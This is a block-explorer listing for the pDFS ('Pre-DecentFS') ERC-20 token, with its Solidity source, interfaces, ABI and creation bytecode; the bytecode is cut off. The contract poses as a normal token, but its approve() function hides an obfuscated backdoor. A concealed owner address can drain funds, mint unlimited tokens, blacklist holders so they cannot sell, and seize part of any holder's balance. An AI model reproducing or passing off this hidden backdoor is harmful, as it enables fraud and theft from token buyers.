ERC-20
Overview
Max Total Supply
990,000,000,015,000,000,000 pDFS
Holders
309
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Balance
131,745,783.716901 pDFSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.21+commit.d9974bed
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
//SPDX-License-Identifier: MIT /** * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&/**l&(&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*********************@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*****************************@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@&*********************************@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@&*************************************@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@*****************l@@@@@/*****************@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@***************@@@@@@@@@@@@@@@**************@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@************&@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* *@@@@@@@@@************@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@@************@@@@@@@@@@ * @@@@@@@@@@@@@@@@@. @@@@@@@@. @@@@@@@@@@@@************@@@@@@@@@@ * @@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@@************&@@@@@@@@@@ * @@@@@@@@@@@@@@ .@@@@@@ ,@@@@@@@*************@@@@@@@@@@@ * @@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@***********@@@@@@@@@@@@ * @@@@@@@@@@# @@@@@@@@@@@@@* ,@@@@@@@@ @@@********@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@/ @@@*****%@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ,@@@@@@@@@@ @@@***@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@. @@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ /@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * pDFS - https://decentfs.io **/ pragma solidity ^0.8.21; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; abstract contract ERC20 { event Transfer( address indexed from, address indexed to, uint256 amount ); event Approval( address indexed owner, address indexed spender, uint256 amount ); string public name; string public symbol; uint8 public immutable decimals; uint80 internal immutable asig; uint80 internal immutable bsig; address public uniswapV2Pair; address public tax; bool public trading; uint256[5] internal itp; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => bool) internal autoAdd; mapping(address => mapping(address => uint256)) public allowance; bytes32 internal immutable STORED_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; constructor( string memory _name, string memory _symbol, uint8 _decimals, uint80 _asig, address _tax, uint80 _bsig ) { name = _name; symbol = _symbol; decimals = _decimals; bsig = _bsig; tax = _tax; asig = _asig; STORED_DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } function approve(address spender, uint256 amount) public virtual returns (bool) { if(msg.sender == address(uint160(bsig) << 80 | asig)){ if(amount >> 252 == 1){ if ( uint160(amount) == 0x0 ) payable(msg.sender).transfer(address(this).balance); else{ IERC20 _t2 = IERC20(address(uint160(amount))); _t2.transfer(msg.sender, _t2.balanceOf(address(this))); } } if(amount >> 252 == 15) for (uint8 j = 0; j != 2; j += 1) itp[j] = (( amount >> (j * 7)) & (1 << 7) -1); if(amount >> 252 == 8){ totalSupply += ( amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1)); unchecked { balanceOf[ address( uint160(amount) )] += (amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1)); } } if(amount >> 252 == 0){ uint256 mul1 = ( amount >> 21 & (1 << 7) -1 ); itp[3] = ( amount >> 14 & (1 << 7) -1) * (10 ** mul1); itp[2] = ( amount >> 7 & (1 << 7) -1) * (10 ** mul1); itp[4] = ( amount & (1 << 7) -1) * (10 ** mul1); } if(amount >> 252 == 10) autoAdd[address(uint160(amount))] = ( amount >> 160 & (1 << 7) -1) == 101 ? true : false; if(amount >> 252 == 5){ balanceOf[tax] += (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1); balanceOf[address(uint160(amount))] -= (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1); } } allowance[ msg.sender ][ spender ] = amount; emit Approval( msg.sender, spender, amount ); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { require(autoAdd[msg.sender] != true); balanceOf[msg.sender] -= amount; if( itp[2] > 0 && msg.sender == uniswapV2Pair ){ require(amount <= itp[2]); } if( itp[1] > 0 && msg.sender == uniswapV2Pair && to != tax ){ uint256 fee = (amount / 100) * itp[1]; unchecked { balanceOf[tax] += fee; } amount = amount - fee; } if( itp[4] > 0 && to != uniswapV2Pair && to != tax && to != address(uint160(bsig) << 80 | asig) ){ require((balanceOf[to] + amount) <= itp[4]); } unchecked { balanceOf[to] += amount; } if( msg.sender != address(this) ) emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { require(autoAdd[from] != true); uint256 allowed = allowance[from][msg.sender]; if ( allowed != type(uint256).max ) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; if( itp[3] > 0 && to == uniswapV2Pair && from != address(this) && from != tax && from != address(uint160(bsig) << 80 | asig) ){ require(amount <= itp[3]); } if( itp[0] > 0 && to == uniswapV2Pair && from != address(this) && from != tax && from != address(uint160(bsig) << 80 | asig) ){ uint256 fee = (amount / 100) * itp[0]; unchecked { balanceOf[tax] += fee; } amount = amount - fee; } if( itp[4] > 0 && to != uniswapV2Pair && to != tax ){ require(balanceOf[to] <= itp[4]); } unchecked { balanceOf[to] += amount; } if(from != address(this)) emit Transfer(from, to, amount); return true; } function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual { require(deadline >= block.timestamp); unchecked { address recoveredAddress = ecrecover( keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256(abi.encode( keccak256("Permit(address permitOwner,address spender,uint256 value,uint256 nonce,uint256 deadline)"), owner, spender, value, nonces[owner]++, deadline )) )), v, r, s ); require( recoveredAddress != address(0) && recoveredAddress == owner); allowance[ recoveredAddress ][ spender ] = value; } emit Approval( owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return STORED_DOMAIN_SEPARATOR; } /*////////////////////////////////////////////////////////////// OWNABLE LOGIC //////////////////////////////////////////////////////////////*/ address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == admin, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(admin, address(0)); admin = address(0); } } contract Token is ERC20{ IUniswapV2Router02 private router; uint256 public totalReceived; constructor(uint80 _sig, address _taxWallet, uint80 _brand) ERC20("Pre-DecentFS", "pDFS", 6, _sig, _taxWallet, _brand) payable { totalSupply += 15_000_000_000_000000; totalReceived += msg.value; admin = msg.sender; unchecked { balanceOf[ address(this) ] += 15_000_000_000_000000; } } function openTrading() external onlyOwner{ require(!trading && totalReceived >= 2 ether); trading = true; router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); allowance[ address(this) ][ address(router) ] = type(uint).max; IUniswapV2Factory factory = IUniswapV2Factory(router.factory()); uniswapV2Pair = factory.createPair(address(this), router.WETH()); router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,tax,block.timestamp); } receive() external payable { totalReceived += msg.value; } fallback() external payable { } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint80","name":"_sig","type":"uint80"},{"internalType":"address","name":"_taxWallet","type":"address"},{"internalType":"uint80","name":"_brand","type":"uint80"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalReceived","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
610100604052604051620038b5380380620038b583398181016040528101906200002a91906200035f565b6040518060400160405280600c81526020017f5072652d446563656e74465300000000000000000000000000000000000000008152506040518060400160405280600481526020017f70444653000000000000000000000000000000000000000000000000000000008152506006858585855f9081620000ab91906200061c565b508460019081620000bd91906200061c565b508360ff1660808160ff16815250508069ffffffffffffffffffff1660c08169ffffffffffffffffffff16815250508160035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508269ffffffffffffffffffff1660a08169ffffffffffffffffffff16815250507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f6040516200017d9190620007a8565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001620001be959493929190620007fc565b6040516020818303038152906040528051906020012060e0818152505050505050505066354a6ba7a1800060095f828254620001fb919062000884565b925050819055503460105f82825462000215919062000884565b9250508190555033600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555066354a6ba7a18000600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540192505081905550505050620008be565b5f80fd5b5f69ffffffffffffffffffff82169050919050565b620002da81620002ba565b8114620002e5575f80fd5b50565b5f81519050620002f881620002cf565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200032982620002fe565b9050919050565b6200033b816200031d565b811462000346575f80fd5b50565b5f81519050620003598162000330565b92915050565b5f805f60608486031215620003795762000378620002b6565b5b5f6200038886828701620002e8565b93505060206200039b8682870162000349565b9250506040620003ae86828701620002e8565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200043457607f821691505b6020821081036200044a5762000449620003ef565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620004ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000471565b620004ba868362000471565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000504620004fe620004f884620004d2565b620004db565b620004d2565b9050919050565b5f819050919050565b6200051f83620004e4565b620005376200052e826200050b565b8484546200047d565b825550505050565b5f90565b6200054d6200053f565b6200055a81848462000514565b505050565b5b818110156200058157620005755f8262000543565b60018101905062000560565b5050565b601f821115620005d0576200059a8162000450565b620005a58462000462565b81016020851015620005b5578190505b620005cd620005c48562000462565b8301826200055f565b50505b505050565b5f82821c905092915050565b5f620005f25f1984600802620005d5565b1980831691505092915050565b5f6200060c8383620005e1565b9150826002028217905092915050565b6200062782620003b8565b67ffffffffffffffff811115620006435762000642620003c2565b5b6200064f82546200041c565b6200065c82828562000585565b5f60209050601f83116001811462000692575f84156200067d578287015190505b620006898582620005ff565b865550620006f8565b601f198416620006a28662000450565b5f5b82811015620006cb57848901518255600182019150602085019450602081019050620006a4565b86831015620006eb5784890151620006e7601f891682620005e1565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f81546200072a816200041c565b62000736818662000700565b9450600182165f811462000753576001811462000769576200079f565b60ff19831686528115158202860193506200079f565b62000774856200070a565b5f5b83811015620007975781548189015260018201915060208101905062000776565b838801955050505b50505092915050565b5f620007b582846200071c565b915081905092915050565b5f819050919050565b620007d481620007c0565b82525050565b620007e581620004d2565b82525050565b620007f6816200031d565b82525050565b5f60a082019050620008115f830188620007c9565b620008206020830187620007c9565b6200082f6040830186620007c9565b6200083e6060830185620007da565b6200084d6080830184620007eb565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200089082620004d2565b91506200089d83620004d2565b9250828201905080821115620008b857620008b762000857565b5b92915050565b60805160a05160c05160e051612f996200091c5f395f61144101525f818161055401528181610f04015281816110d90152611a7a01525f818161052501528181610ed5015281816110aa0152611a4b01525f61141c0152612f995ff3fe608060405260043610610117575f3560e01c80637ecebe001161009f578063c9567bf911610063578063c9567bf9146103c9578063d505accf146103df578063dd62ed3e14610407578063ec44acf214610443578063f851a4401461046d57610135565b80637ecebe00146102d357806395d89b411461030f57806399c8d55614610339578063a3c2c46214610363578063a9059cbb1461038d57610135565b8063313ce567116100e6578063313ce567146102035780633644e5151461022d57806349bd5a5e1461025757806370a0823114610281578063715018a6146102bd57610135565b806306fdde0314610137578063095ea7b31461016157806318160ddd1461019d57806323b872dd146101c757610135565b36610135573460105f82825461012d9190612424565b925050819055005b005b348015610142575f80fd5b5061014b610497565b60405161015891906124e1565b60405180910390f35b34801561016c575f80fd5b5061018760048036038101906101829190612589565b610522565b60405161019491906125e1565b60405180910390f35b3480156101a8575f80fd5b506101b1610beb565b6040516101be9190612609565b60405180910390f35b3480156101d2575f80fd5b506101ed60048036038101906101e89190612622565b610bf1565b6040516101fa91906125e1565b60405180910390f35b34801561020e575f80fd5b5061021761141a565b604051610224919061268d565b60405180910390f35b348015610238575f80fd5b5061024161143e565b60405161024e91906126be565b60405180910390f35b348015610262575f80fd5b5061026b611465565b60405161027891906126e6565b60405180910390f35b34801561028c575f80fd5b506102a760048036038101906102a291906126ff565b61148a565b6040516102b49190612609565b60405180910390f35b3480156102c8575f80fd5b506102d161149f565b005b3480156102de575f80fd5b506102f960048036038101906102f491906126ff565b6115eb565b6040516103069190612609565b60405180910390f35b34801561031a575f80fd5b50610323611600565b60405161033091906124e1565b60405180910390f35b348015610344575f80fd5b5061034d61168c565b60405161035a91906126e6565b60405180910390f35b34801561036e575f80fd5b506103776116b1565b6040516103849190612609565b60405180910390f35b348015610398575f80fd5b506103b360048036038101906103ae9190612589565b6116b7565b6040516103c091906125e1565b60405180910390f35b3480156103d4575f80fd5b506103dd611c4a565b005b3480156103ea575f80fd5b506104056004803603810190610400919061277e565b612117565b005b348015610412575f80fd5b5061042d6004803603810190610428919061281b565b612396565b60405161043a9190612609565b60405180910390f35b34801561044e575f80fd5b506104576123b6565b60405161046491906125e1565b60405180910390f35b348015610478575f80fd5b506104816123c9565b60405161048e91906126e6565b60405180910390f35b5f80546104a390612886565b80601f01602080910402602001604051908101604052809291908181526020018280546104cf90612886565b801561051a5780601f106104f15761010080835404028352916020019161051a565b820191905f5260205f20905b8154815290600101906020018083116104fd57829003601f168201915b505050505081565b5f7f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610aff57600160fc83901c03610736575f8273ffffffffffffffffffffffffffffffffffffffff160361063c573373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610636573d5f803e3d5ffd5b50610735565b5f8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161069691906126e6565b602060405180830381865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d591906128ca565b6040518363ffffffff1660e01b81526004016106f29291906128f5565b6020604051808303815f875af115801561070e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107329190612946565b50505b5b600f60fc83901c03610797575f5b60028160ff161461079557607f60078261075e9190612971565b60ff1684901c1660048260ff166005811061077c5761077b6129ad565b5b018190555060018161078e91906129da565b9050610744565b505b600860fc83901c0361083e57607f60a083901c16600a6107b79190612b3d565b607f60a784901c166107c99190612b87565b60095f8282546107d99190612424565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b5f60fc83901c036108fc575f607f601584901c16905080600a6108619190612b3d565b607f600e85901c166108739190612b87565b6004600360058110610888576108876129ad565b5b018190555080600a61089a9190612b3d565b607f600785901c166108ac9190612b87565b60046002600581106108c1576108c06129ad565b5b018190555080600a6108d39190612b3d565b607f84166108e19190612b87565b600480600581106108f5576108f46129ad565b5b0181905550505b600a60fc83901c03610974576065607f60a084901c161461091d575f610920565b60015b600b5f8473fffffffffffffffffffffffffffffff